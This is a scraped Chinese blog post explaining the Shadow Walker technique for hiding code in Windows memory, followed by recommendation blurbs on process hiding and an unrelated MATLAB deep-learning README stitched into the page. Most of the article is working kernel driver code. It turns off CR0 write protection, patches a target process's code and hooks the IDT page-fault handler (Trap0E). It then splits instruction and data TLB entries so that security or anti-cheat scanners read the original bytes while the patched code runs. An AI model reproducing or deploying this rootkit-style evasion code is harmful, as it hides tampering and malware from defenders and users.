Windows内存隐藏技术初探

x64下隐藏可执行内存 我们如果想要实现进程隐藏在3环通常会使用到PEB断链去达到隐藏进程的效果,但是那只是表面上的进程隐藏,所有内存的详细信息都会被储存在vad树里面,这里我们就来探究在64位下如何隐藏可执行内存。 阅读详情
 

Windows内存隐藏技术初探

 

 

NetRoc

http://www.DbgTech.net/

    最早看到Shadow Walker这种隐藏内存数据的技术的时间忘了,呵呵。大约是一年多或者两年以前吧。当时还只是提出了理论性的东西,没有人实现出来。前段时间搞NP玩的时候,对Themida和虚拟机深恶痛绝,遂想,干脆把内存数据隐藏得了,省得挂个钩子还得缩手缩脚,找个一劳永逸的办法。于是google了一把网上的代码,自己也花了几天时间实现了一下。虽然不太完美,不支持PAE,目前也只能隐藏ring3的代码,不过对这项技术的原理和实现也算是摸清楚了。由于对现在的安全软件具有极度破坏性的杀伤力,开始没想写这篇文章,不过最近确实比较无聊,NMAKE的文章又比较难写,so还是写写玩吧,权当练文笔了,呵呵。

关于内存隐藏的概念。有时候我们会面临这么一个问题,如果我们有一段内存中的代码,不想被别人发现,但是又要它能确确实实的执行起来起作用,怎么办?或许有很多办法,比如自我变形之类的。但是,如果可以完完全全把这段代码的痕迹从内存中“抹消”,岂不是很舒坦的事情?hoho。简单来说,就是让内存中的一段数据,执行的时候是一个样子,但是read/write的时候又是另外一个样子。是不是有点玄妙了?呵呵。

一切都要从Petium架构CPU提供的TLBS说起。TLBS的全称是Translation Lookaside Buffers。为了加速处理器内存在分页模式下的访问速度,从P6 family的cpu开始就支持这样一种特性。处理器会将最近访问过的页目录(page-directory)和页表(page-table)存储在芯片内部称为translation lookaside buffers的缓存中。P6 family处理器分别为4K页面和4M页面分别保留不同的TLBs。绝大多数对分页的访问,都可以通过TLBs的内容完成,只有在缓存中找不到所访问的页面的信息时,才会去访问实际的页目录和页表。Ring0的代码通过重新装载CR3或者使用INVLPG指令,可以将TLB里面某些页表的入口无效化。而CPU分别为内存的执行和读写保存了不同的TLB,即DTLB和ITLB。对于DTLB,在执行数据访问指令的时候,会更新DTLB中被访问页面的入口;而对于ITLB,在执行某个页面代码的时候,会更新ITLB内的入口。通常情况下,DTLB和ITLB的内容是同步的,但是我们可以通过操作这两种TLB,实现对某段内存的读写/执行控制。

如何才能在某个内存地址被读写或者访问的时候获得控制呢?很明显,当内存访问出错的时候,系统会触发页面异常,即Trap0E。通过钩挂Trap0E,并且将我们要控制的内存页面PTE标记为不存在,并且通过INVLPG指令清空TLB中该页的入口,这样,当对这个页面进行读写/执行访问的时候,TLB中不存在该页的入口信息,并且页面不存在,能够触发Trap0E,使得我们可以获得系统的控制权。

接下来,我们需要区分触发异常是由于读写访问还是执行访问。通过比较发生异常的页面地址,和出现异常的代码地址,我们可以区分异常类型。如果出现异常的地址就是发生异常时正执行的代码地址,那么说明是一次执行访问;反之则是读写访问。在捕获到异常并区分出异常类型之后,就可以通过分别手动装载DTLB和ITLB使得读写/执行数据的过滤。TLB被装载之后,只要没有被清除出去,对这些页面的访问就通过TLB里面的内容实现。这样使得Hook页面之后的访问速度,比未Hook之前并不会有明显的损失。

基本的思想就是这样了,后面贴出来一些我的代码实现,其中很多直接“参考”了OllyBone和网上其他公布出来的代码。

由于目的是想做对目标进程的Hook,并且隐藏被修改的代码,仅需要支持对ring3代码的隐藏即可。我的流程是在驱动中提供了一个接口,将应用层传进去的一段代码复制到要hook的地址,并保存原始内容。通过内存伪装,使得该地址执行的是新代码,而读写操作得到的是旧代码。为了在自己Trap0E里面区分是哪个进程触发的异常,采用了比较奇怪的办法,即通过对比CR3寄存器的值来判断,至于为什么这么做,忘了……。另外,为了装载ITLB,需要调用一下伪装页面内的代码,所以我们在被Hook的页面内需要找到一条retn指令,并把这个地址传递给驱动,在装载ITLB的时候,驱动程序直接call这句retn。

下面的代码还有一些问题,只是当时写的实验性的代码,所以也比较零乱。不过大致的流程是清楚的。

下面这段是IoCtrl里面的

case IOCTL_SHADOWHOOK:

                   //Shadow Hook!!

                   g_ulHookPid = (ULONG)PsGetCurrentProcessId();

                   g_ulHookProcessCr3 = GetCR3();

                   if( g_pbyCode == NULL)

                   {

                            g_pbyCode = ExAllocatePoolWithTag( PagedPool, 4*1024, 'SWHK');

                            g_pMdl = IoAllocateMdl( g_pbyCode, 4*1024, FALSE, FALSE, NULL);

                            if ( g_pMdl == NULL)

                            {

                                     ExFreePool( g_pbyCode);

                                     g_pbyCode = NULL;

                                     break;

                            }

                            else

                            {

                                     __try

                                     {

                                               MmProbeAndLockPages( g_pMdl, KernelMode, IoReadAccess);

                                               g_blIsLocked = TRUE;

                                     }

                                     __except( EXCEPTION_EXECUTE_HANDLER)

                                     {

                                               IoFreeMdl(g_pMdl);

                                               g_pMdl = NULL;

                                               ExFreePool( g_pbyCode);

                                               g_pbyCode = NULL;

                                               g_blIsLocked = FALSE;

                                     }

                            }

                   }

                   RtlZeroMemory( g_pbyCode, 4*1024);

                   pstShadowHookInfo = (PSHADOW_HOOK_INFO)Irp->AssociatedIrp.SystemBuffer;

                   RtlCopyMemory( g_pbyCode, (PVOID)(pstShadowHookInfo->ulStartAddr & 0xFFFFF000), 4*1024);

                   SetCopyOnWrite( (PVOID)pstShadowHookInfo->ulStartAddr);

                   g_ulHookCodeLen = pstShadowHookInfo->ulLength;

 

                   _asm

                   {//关闭内存写保护

                            cli;

                            mov eax,cr0;

                            and eax,0fffeffffh;

                            mov cr0,eax;

                   }

                   RtlCopyMemory( (PVOID)pstShadowHookInfo->ulStartAddr, (PVOID)pstShadowHookInfo->pbyHookCode, pstShadowHookInfo->ulLength);

                  

                 _asm

                 {//重新打开内存写保护

                           mov eax,cr0;

                           or eax,0x10000;

                           mov cr0, eax;

                           sti;

                 }

                  

                  

                   CpuCount = *KeNumberProcessors;

                   while( CpuCount > 0)

                   {

                            KeSetAffinityThread( KeGetCurrentThread(), CpuCount);//绑定CPU

                           HookMemoryPage( (PVOID)pstShadowHookInfo->ulStartAddr, g_pbyCode, (PVOID)pstShadowHookInfo->pfnNullSub);

                            CpuCount--;

                   }

                   g_blIsHookedPage = TRUE;

                 ntStatus = HookTrap0E();

                 if( !NT_SUCCESS(ntStatus))

                 {

                           DbgPrint( "HookTrap0E fail./r/n");

                 }

                   break;

下面是钩挂Trap0E

Hook Trap0E

NTSTATUS HookTrap0E()

{

         CCHAR CpuCount = 0;

         PIDTENTRY    IdtEntry = NULL;

         IDTR stIdtr = {0};

 

         if( g_blIsHookTrapE0)

                   return STATUS_UNSUCCESSFUL;

 

         CpuCount = *KeNumberProcessors;

         while( CpuCount > 0)

         {

                   KeSetAffinityThread( KeGetCurrentThread(), CpuCount);//绑定CPU

                  

                   //得到 IDTR 中得段界限与基地址

                   _asm sidt stIdtr;

                   IdtEntry = (PIDTENTRY)stIdtr.Base;

                  

                   //保存原有得 IDT

                   RtlCopyMemory(&g_IdtEntryOld, &IdtEntry[0x0E], sizeof(g_IdtEntryOld));

 

                   _asm cli;//禁止中断

                   g_ulOldTrap0E = (ULONG)IdtEntry[0x0E].OffsetLow | ((ULONG)IdtEntry[0x0E].OffsetHigh<<16);          

                   IdtEntry[0x0E].OffsetLow   = (unsigned short)NewTrap0E;                          

                   IdtEntry[0x0E].OffsetHigh  = (unsigned short)((unsigned int)NewTrap0E>>16);

                   _asm sti;//开中断

 

                   CpuCount--;

         }

         g_blIsHookTrapE0 = TRUE;

         return STATUS_SUCCESS;

}

 

这是Hook一个页面

void HookMemoryPage( PVOID pExecutePage, PVOID pReadWritePage,

                                               PVOID pfnCallIntoHookedPage)                         

{                          

         PPTE ExecutePte;

         g_pExecutePage = pExecutePage;                            

         g_pReadWritePage = pReadWritePage;                       

         g_pfnCallIntoHookedPage = pfnCallIntoHookedPage;   

         __asm cli; //关中断                                                                                         

         ExecutePte = GetPteAddress( pExecutePage);

         g_pReadWritePTE = GetPteAddress( pReadWritePage);

         g_ExecutePTE = ExecutePte;

 

         //这里因为我们是Hook ring3页面,所以不用EnableGlobalPageFeature

    //EnableGlobalPageFeature( ExecutePte);

 

    //标记页面为不存在                                       

    MarkPageNotPresent( ExecutePte);

 

    //清空TLB入口

    __asm invlpg pExecutePage

 

         __asm sti //reenable interrupts                            

}//end HookMemoryPage 

 

下面是钩挂的Trap0E的代码了。关键就在这里。

#pragma optimize( "", off )

void __declspec (naked) NewTrap0E(void)

{

         __asm                                                  

        {                                                      

                pushad                                         

                mov edx, dword ptr [esp+0x20] //PageFault.ErrorCode

          test edx, 1     //不是缺页错误

                   jne PassDown

 

                   //通过CR3判断当前进程

                   mov eax, cr3

                   cmp eax, g_ulHookProcessCr3

                   jnz PassDown

 

                mov eax,cr2     //faulting virtual address

                ////////////////////////////////////////

                //判断是否是Hook掉的page

                /////////////////////////////////////////

                   mov ebx, g_pExecutePage

                  and  ebx, 0xFFFFF000

                 and  eax, 0xFFFFF000

                cmp eax, ebx

                   mov eax, cr2 

                jnz PassDown  //不是,传下去

 

                ///////////////////////////////////////        

                //下面处理Hook掉的页面了

                /////////////////////////////////////          

                mov eax, cr2                                                                 

                push eax

                   push eax

                   call GetPteAddress

                   mov ebx, eax //ebx = pPte

                   pop eax          

                cmp [esp+0x24], eax     //判断是执行出错还是读写时出错?

                je LoadITLB 

 

                  

               //判断是否是Hook的那些字节                            

                   cmp eax, g_pExecutePage

                   jb  LoadDTLB

                   sub eax, g_pExecutePage

                   cmp eax, g_ulHookCodeLen

                   jg  LoadDTLB

                   jmp LoadFakeFrame

LoadITLB:

                ////////////////////////////////               

                //是一次执行操作,所以Load ITLB

                ///////////////////////////////                

                cli                      

                or dword ptr [ebx], 0x01         //标志页面为存在

                call g_pfnCallIntoHookedPage //通过调用一下那个页面内的代码,装载ITLB

                and dword ptr [ebx], 0xFFFFFFFE  //重新标记为不存在

                //sti                                            

                jmp ReturnWithoutPassdown                       

                                                               

                ////////////////////////////////               

                // 这是读写造成的异常,并且不在我们要隐藏的代码范围内,Load DTLB

                ///////////////////////////////                 

LoadDTLB:

                cli   

                   mov eax,cr2

                or dword ptr [ebx], 0x01           //mark the page present

                mov eax, dword ptr [eax]           //load the DTLB       

                and dword ptr [ebx], 0xFFFFFFFE    //mark page not present

                //sti                                            

                jmp ReturnWithoutPassdown                      

 

                /////////////////////////////////              

                //需要隐藏这段代码,所以Load伪装的页面

                /////////////////////////////////  

 

LoadFakeFrame:    

                   mov eax, cr2

                mov esi, g_pReadWritePTE

                mov ecx, dword ptr [esi]            //ecx = PTE of the   

                                                                     //read / write page  

                //把页面替换为假的

                mov edi, [ebx]                                 

                and edi, 0x00000FFF //preserve the lower 12 bits of the  

                                    //faulting page's PTE                

                and ecx, 0xFFFFF000 //isolate the physical address in    

                                    //the "fake" page's PTE              

                or ecx, edi                                     

                mov edx, [ebx]     //save the old PTE so we can replace it

                cli      

                mov [ebx], ecx    //replace the faulting page's phys frame

                                  //address w/ the fake one

                //load DTLB

                or dword ptr [ebx], 0x01   //标志为存在

                mov eax, cr2               //faulting virtual address    

                mov eax, dword ptr[eax]    //访问一次页面的数据,Load DTLB

                and dword ptr [ebx], 0xFFFFFFFE //重新标志为不存在

                                                               

                //Finally, restore the original PTE

                mov [ebx], edx                                 

                //sti                                             

                                                               

ReturnWithoutPassDown:                                         

                popad                                          

                add esp,4

                   sti

                iretd                                          

                                                               

PassDown:                                                      

                popad                                           

                jmp g_ulOldTrap0E

                                                               

        }//end asm                         

}       

#pragma optimize( "", on )

Rust实现Windows进程隐藏技术:Process Ghosting与Herpaderping详解 进程隐藏是系统安全与攻防对抗中的核心技术,它通过操纵操作系统底层的进程创建、内存管理和文件系统机制,使特定进程对监控工具“不可见”。其原理通常涉及利用操作系统内核对象状态转换的时间窗口或逻辑间隙,例如在进程创建流程中拦截并篡改其内存镜像,或利用文件系统延迟删除特性。这项技术的核心价值在于提升安全测试、威胁模拟和系统研究等场景中工具的隐蔽性与生存能力,尤其适用于红队演练、EDR绕过和Windows内部机制研究等高级应用。本文聚焦Process Ghosting与Herpaderping这两种前沿的进程隐藏技术 阅读详情

相关推荐

Windows进程隐藏与反查杀技术实现详解

进程隐藏是恶意软件中常见且关键的对抗技术,其核心目标是通过各种手段使恶意进程在系统进程中“消失”或伪装,以逃避安全软件和管理员的检测。随着操作系统安全机制的不断增强,进程隐藏技术也不断演进,从简单的命名混淆到复杂的内核级Hook与驱动隐藏,技术层级日益深入。理解进程隐藏的原理与实现方式,不仅有助于攻击者实现持久化控制,也为防御者提供了识别与对抗的思路。本章将介绍进程隐藏的基本概念、技术分类及其在攻防对抗中的作用,为后续章节的技术剖析奠定基础。

weixin_35706255的博客 1614

KeSetSystemAffinityThread

ms文档上说明: KeSetSystemAffinityThread routine The KeSetSystemAffinityThread routine sets the system affinity of the current thread. Syntax C++ VOID KeSetSystemAffinityThread( _In_ KAFFINITY Affinity

qinqin772的博客 2110

深入Windows 7系统进程隐藏技术

系统进程隐藏是一种在操作系统中使特定进程对普通方法不可见的技术。掌握这项技术,对于提高系统的安全性、保护关键任务的顺利运行以及提升用户体验都至关重要。进程隐藏技术从最初的简单技巧逐步演进到今天高度复杂的系统级策略。它的发展历程体现了安全领域攻防对抗的本质,以及IT专家在安全防御方面不断创新的追求。当前,最主流的进程隐藏方法包括但不限于:Rootkit、内核级钩子、API过滤等。这些方法各有其工作原理和实现机制,但最终目的都是为了使系统进程不被轻易识别,以达成安全防护或其他特定需求。

weixin_42350014的博客 1032

隐藏进程检测

 隐藏进程检测User Mode下的隐藏进程检测我们先来看一些简单的方法,这些方法可以用在ring3下,用不着驱动。检测的原理是每一个进程活动时都会暴露一些痕迹,可以通过这些痕迹检测到它们。这些痕迹包括打开的句柄、窗口和创建的系统对象。针对类似的检测方法来实现进程隐藏并不困难,但需要考虑进程工作时可能暴露出的所有迹象。目前还没有一个公开的rootkit做到了这一点(遗憾的是私有版本我也还没见到)。

Tommy(凌飞)的专栏 3626

深入探讨Windows内核模式驱动隐藏进程技术

Windows驱动程序大致可以分为两大类:内核模式驱动和用户模式驱动。内核模式驱动运行在高度特权的系统环境中,可以进行硬件访问和关键系统资源的操作。而用户模式驱动则运行在较为受限的环境中,通常用于执行那些不需要直接访问硬件的任务。

weixin_29496633的博客 1125

Windows驱动隐藏进程技术解析与安全防御实战

NT式驱动是最基础的驱动模型,通常由一个函数开始,负责初始化驱动并注册分发例程(Dispatch Routines)。它不支持PnP和电源管理,开发复杂度较高,适用于简单的内核模块。// 设置驱动卸载例程// 设置IRP处理函数i++) {逐行分析:是驱动程序的入口函数。是驱动对象指针,用于注册驱动的各个回调函数。表示驱动在注册表中的路径。是驱动卸载时的回调函数。表示处理IRP(I/O请求包)的函数指针数组,每个索引对应不同的I/O请求类型。

weixin_30533301的博客 1032

线程调度的部分资料

PART 1: Kernel Object//每一位表示对应这个特权级的队列中是否有线程(主要在KiSwapThread用,详细代码见PART3)ULONG KiReadySummary = 0   - Referenced by KeSetAffinityThread(),KiFindReadyThread(),KiReadyThread(),   KiScanReadyQueues()

1835

Windows任务管理器进程隐藏技术实现

Windows API(Application Programming Interface)是Windows操作系统提供的一组预定义的函数、协议和工具的集合,它们可以用来构建Windows应用程序。API为开发者提供了一种标准化的方式来访问操作系统的服务、硬件设备以及执行其他复杂的操作。在进程管理方面,Windows API允许程序创建、控制、查询以及终止进程和线程。通过这些API,开发者可以编写能够执行这些操作的代码,这在实现自定义进程隐藏逻辑时尤为关键。

weixin_42186387的博客 2120

Windows x64隐藏可执行内存

Windows x64隐藏可执行内存

鬼手的博客 8522

易语言彻底隐藏文件源码-易语言

易语言彻底隐藏文件源码

VtDriver_VTDriver_VTcpuid_

使用VT实现内存隐藏

[Windows 驱动开发] 隐藏进程内存

原理 在进程的 _EPROCESS 中有一个 _RTL_AVL_TREE 类型的 VadRoot 成员,它是一个存放进程内存块的二叉树结构,如果我们找到了这个二叉树中我们想要隐藏的内存,直接将这个内存在二叉树中 “抹去”(其实是让上一个节点的 EndingVpn 指向下个节点的 EndingVpn ,让两个节点融合) 就可以达到隐藏的效果。 过程 比如你在代码中申请了两块内存: int main() { LPVOID p1 = VirtualAlloc(NULL, 0x10000, MEM_CO

LYSM 2048

有限差分法地震数据正演模拟(二)

正演模拟,是在地球物理勘探研究中,根据地质体的形状、产状和物性数据,通过构造数学模型计算得到其理论值(数学模拟),或通过构造实体模型来观测模型所产生的地球物理效应的数值(物理模拟)。p(t+1,x,z)即为下一时刻的波长信息,该波动方程的意义就是通过前一时刻(p(t-1,x,z))和现在时刻(p(t,x,z))预测下一时刻波的传播情况。声波波动方程:反应声波的传播规律,描述最简单的波现象的方程,p代表波场信息,v表示速度场信息因为速度只与速度场有关,所以只与x,z有关。其结果也可以作为反演的验证。

weixin_46285501的博客 3939

Windows内存操作终极指南:深入解析Blackbone的VAD管理与内存隐藏技术

Blackbone是一款功能强大的Windows内存操作库,专门为开发者提供全面的内存管理功能。这个开源项目支持x86和x64架构,让你能够轻松进行内存读写、模块注入、远程代码执行等高级操作。😊 ## VAD管理:Windows内存的核心技术 VAD(Virtual Address Descriptor)是Windows内核中管理进程虚拟地址空间的关键数据结构。每个进程都有一个VAD树,记录

gitblog_00855的博客 350

源码编译部署篇(二)源码编译milvus成功后如何启动standalone并调试成功!

由于Milvus官方文档只提及如何使用docker安装部署Milvus,关于源码安装方式篇幅较少,因此,我整理撰写了如何通过源码编译方式成功安装Milvus,详见此篇。之所以选择这种复杂的安装方式,可以调试源码进而熟悉Milvus如何搭建整个框架支持AI上层应用功能。根据上篇步骤部署虽然可以成功,然而,我却不能成功启动Milvus服务,这个问题困扰了一两天,现在终于得以解决并能成功调试Milvus源码。接下来,分为三个部分介绍如何启动和成功调试。

qq_43893755的博客 3369

杰理蓝牙AC696X开发实战:自定义蓝牙名称与提示音配置指南

本文详细介绍了杰理AC696X蓝牙芯片开发中自定义蓝牙名称与提示音配置的完整实战指南。文章从SDK工具定位入手,逐步讲解如何通过配置工具修改蓝牙名称,并重点阐述了替换提示音的正确步骤与音频文件(如WAV格式、16kHz采样率)的详细参数要求,最后指导如何生成并验证最终固件,帮助开发者快速实现个性化设备定制。

weixin_29161719的博客 562

如何在Windows NT中隐藏自己[转]

=============================[ 在NT“盒子”里消失 ]=============================                         如何在Windows NT中隐藏自己                         --------------------------                            

LionD8' Blog 个人作品 www.360kdj.com 360KDJ股票实验室 2955

CMap数据库实战:从基因表达谱到药物重定位的可视化分析

本文详细介绍了如何利用CMap数据库进行药物重定位的可视化分析。通过实战演示,从差异基因列表准备、CMap查询参数设置,到结果筛选与高级可视化(如热图与OncoPrint风格图),系统讲解了从数据到洞察的全流程,并提供了关键的解读与验证指南,帮助研究者高效挖掘老药新用的潜力。

mango的博客 591

Win32 驱动隐藏进程内存

在进程的 _EPROCESS 中有一个 _RTL_AVL_TREE 类型的 VadRoot 成员,它是一个存放进程内存块的二叉树结构,如果我们找到了这个二叉树中我们想要隐藏的内存,直接将这个内存在二叉树中 “抹去”(其实是让上一个节点的 EndingVpn 指向下个节点的 EndingVpn ,让两个节点融合) 就可以达到隐藏的效果。

微软技术分享 1万+

钙钛矿太阳能电池稳定性测试:ISOS协议详解与标准化实践指南

在光伏器件研发中,稳定性测试是评估材料与器件长期可靠性的核心环节,其关键在于实现测试条件的标准化与数据的可比性。通过控制变量和模拟真实环境应力,标准化测试协议能够系统揭示材料衰减机理与器件失效模式,为技术迭代提供可靠依据。在钙钛矿太阳能电池领域,ISOS协议作为国际公认的测试框架,通过分级体系(如ISOS-L系列光照测试与ISOS-D系列暗态测试)和关键参数定义(如光源光谱匹配、MPP跟踪、结温控制),解决了不同实验室数据无法横向对比的痛点。该协议不仅规范了测试流程,还通过硬件系统搭建、自动化数据采集与归一

weixin_33600816的博客 326

C#WPF常用的9种布局方式详解

本文介绍WPF中常用的九种布局,Grid、StackPanel、WrapPanel、DockPanel、UniformGrid、Canvas、ScrollViewer、ViewBox、Border。

qq_30725967的博客 1万+

Windows-病毒、木马各种隐藏技术全方位大批露

        以前,我曾认为只要不随便运行网友发来的文件就不会中病毒或木马,但后来出现了利用漏洞传播的冲击波、震荡波;以前,我曾认为不上小网站就不会中网页木马,但后来包括国内某知名游戏网站在内的多个大网站均在其首页被黑客挂上了木马。从此,我知道:安全,从来没有绝对的。www.x-force.cn  虽然没有绝对的安全,但如果能知已知彼,了解木马的隐藏手段,对于木马即使不能百战百胜,也能做到及

MasterFT的专栏 2020

Allegro如何进行四层板板层设计

板层的设计

weixin_42499230的博客 3195

windows黑客编程技术之隐藏技术(进程伪装,傀儡进程,进程隐藏)

windows黑客编程技术之隐藏技术(进程伪装,傀儡进程,进程隐藏)

weixin_44891742的博客 8283

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

上一篇: Vista UAC研究之一——UAC 相关的基本技术
下一篇: Windows内核分析之一 —— 内核入口函数
NetRoc
博客等级 码龄24年 5粉丝 17原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值